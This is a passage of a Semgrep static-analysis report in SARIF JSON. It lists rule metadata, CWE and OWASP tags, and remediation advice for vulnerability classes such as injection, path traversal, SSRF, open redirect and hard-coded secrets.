[Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privileged)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html)\n","text":"Container or pod is running in privileged mode. This grants the container the equivalent of root capabilities on the host machine. This can lead to container escapes, privilege escalation, and other security concerns. Remove the 'privileged' key to disable this capability."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.privileged-container.privileged-container","id":"yaml.kubernetes.security.privileged-container.privileged-container","name":"yaml.kubernetes.security.privileged-container.privileged-container","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.privileged-container.privileged-container"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.path-traversal-open.path-traversal-open","id":"python.flask.security.injection.path-traversal-open.path-traversal-open","name":"python.flask.security.injection.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"help":{"markdown":"User input is passed to a function that executes a shell command. This can lead to remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User input is passed to a function that executes a shell command. This can lead to remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-exec.tainted-exec","id":"php.lang.security.injection.tainted-exec.tainted-exec","name":"php.lang.security.injection.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Sauce Token detected"},"help":{"markdown":"Sauce Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Sauce Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sauce-token.detected-sauce-token","id":"generic.secrets.security.detected-sauce-token.detected-sauce-token","name":"generic.secrets.security.detected-sauce-token.detected-sauce-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sauce-token.detected-sauce-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","id":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","name":"javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.open-redirect-deepsemgrep.open-redirect-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","id":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","name":"csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.ssrf.httpclient-taint.httpclient-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","id":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","name":"go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.nosql.gorilla-mongo-nosqli-taint.gorilla-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"help":{"markdown":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb)\n - [https://golang.org/pkg/io/#CopyN](https://golang.org/pkg/io/#CopyN)\n - [https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go](https://github.com/securego/gosec/blob/master/rules/decompression-bomb.go)\n","text":"Detected a possible denial-of-service via a zip bomb attack. By limiting the max bytes read, you can mitigate this attack. `io.CopyN()` can specify a size. "},"helpUri":"https://semgrep.dev/r/go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","id":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","name":"go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.decompression_bomb.potential-dos-via-decompression-bomb"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.ponyorm-flask.ponyorm-flask","id":"python.flask.db.ponyorm-flask.ponyorm-flask","name":"python.flask.db.ponyorm-flask.ponyorm-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.ponyorm-flask.ponyorm-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsResourceUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsResourceUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","id":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","name":"javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-resourceurl-method.detect-angular-trust-as-resourceurl-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-shelve-django.tainted-shelve-django","id":"python.django.file.tainted-shelve-django.tainted-shelve-django","name":"python.django.file.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","id":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","name":"python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-boto3.tainted-fastapi-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","id":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","name":"kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.mongo-driver-nosqli.mongo-driver-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlobject-django.sqlobject-django","id":"python.django.db.sqlobject-django.sqlobject-django","name":"python.django.db.sqlobject-django.sqlobject-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlobject-django.sqlobject-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","id":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","name":"java.lang.security.audit.sqli.vertx-sqli.vertx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.vertx-sqli.vertx-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","id":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","name":"rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.command-injection.rust-rocket-command-injection.rust-rocket-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","id":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","name":"python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-mongo-hardcoded-secret.python-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"help":{"markdown":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex)\n - [https://pkg.go.dev/sync#RWMutex](https://pkg.go.dev/sync#RWMutex)\n - [https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/](https://blog.trailofbits.com/2020/06/09/how-to-check-if-a-mutex-is-locked-in-go/)\n","text":"Missing `RUnlock` on an `RWMutex` (`$T` variable) lock before returning from a function"},"helpUri":"https://semgrep.dev/r/trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","id":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","name":"trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.missing-runlock-on-rwmutex.missing-runlock-on-rwmutex"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`db.Query(\"SELECT * FROM t WHERE id = ?\", id)`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://golang.org/doc/database/sql-injection](https://golang.org/doc/database/sql-injection)\n - 